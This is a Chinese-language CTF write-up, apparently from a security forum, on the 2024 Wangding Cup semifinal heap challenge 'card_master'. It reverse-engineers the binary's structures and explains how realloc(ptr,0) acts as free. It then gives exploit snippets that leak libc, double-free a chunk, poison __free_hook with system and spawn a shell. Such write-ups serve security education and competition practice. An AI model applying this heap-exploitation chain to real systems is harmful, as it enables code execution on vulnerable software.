2024网鼎杯半决card_master详细分析
sn0w 发表于 广东 CTF 193浏览 · 2024-11-26 10:04

结构体分析

第一个结构体

malloc(0x28)这个堆块

可以看出

v4[0]为 花色数量 v4[1]为不同牌的数量 两个都是unsigned int或者int 型 占四个字节

v4[2] 为 随机的次数 占8个字节

v4[3] 为指针 指向 存放花色的地址

v4[4] 指向一个函数 sub_D31

v4[5]实际上指向了malloc` 返回的新内存块为一个新的结构体

v4的结构体为

struct v4
{
    unsigned int hua_se_num;
    unsigned int card_num;
    unsigned __int64 random_times;
    char *huase;
    void *function;
    struct mem *data;
}

第二个结构体

v4->data也指向一个结构体

struct mem
{
 struct card *suit[4];
}

第三个结构体

struct card {
    struct card_range card_range[13];
};

第四个结构体

struct card_range
{
   unsigned __int64 id;
   unsigned __int64 num;
}

搭建好结构体后程序是这样子

漏洞分析

关键点在set功能

这里存在一个realloc函数的调用,而整个功能点中是不存在free这个功能的,这里利用的是realloc的机制

realloc(ptr, size)有两个参数

  • 当size==0的时候:此时等同于free,相当于free(ptr) 并且返回的是空指针,没有uaf漏洞
  • ptr==0,size>0的时候:此时等同于malloc(size)

  • 如果 realloc_ptr 指向的内存块的可用大小,大于或等于请求的大小 sizerealloc 将会保留原来的指针地址,并且不会移动内存块。此时,realloc 会将多余的内存释放掉,以把内存块的大小精确调整到 size 字节。而如果原先的块大小大于 size,则会减少内存的使用,但指针 ptr 仍然指向原先的内存地址,不会改变指向的位置。

  • realloc_ptr 指向的内存块的可用大小小于请求的大小时,realloc 函数会通过 malloc 分配一块新的、足够大的内存,随后将原内存块的内容复制到新的内存块中。这一过程确保原始数据不会丢失,完成后旧内存块会被释放以避免内存泄漏。如果分配成功,realloc 返回新的内存块指针;若分配失败,则返回 NULL,原指针保持不变。

因此我们可以实现一个edit和free的效果

realloc(ptr,0)则是free 而free后的地址还是存在 原来那个堆块上的,我们可以通过show把结构体show出来以实现泄露地址的功能

动态调试

泄露libc地址

edit(0x200,b'aaaa')
free()
show()
#--------------------------------------
rl("uit chara set:")
libc_addr=h64()
print(hex(libc_addr))
pause()
libc.address=libc_addr-0x3ebca0
free_hook=libc.sym['__free_hook']
system=libc.sym['system']

因此泄露出libc 然后由于没有检测 直接double free

double free

edit(0x200,b'aaaa')
edit(0x20,b'a')
free()
free()
edit(0x20,p64(free_hook))
pause()

取出堆块这部分有点难 因为realloc 的ptr不可能为0实现不了malloc的功能 而要malloc 我们要满足这个条件

所以我们需要init初始化 然后去malloc 取出堆块 再修改free_hook 为system

取出利用并且拿shell

init()
edit(0x20,b'a')
init()
edit(0x20,p64(system))
init()
edit(0x40,b'/bin/sh\x00')
free()

0 条评论
某人
表情
可输入 255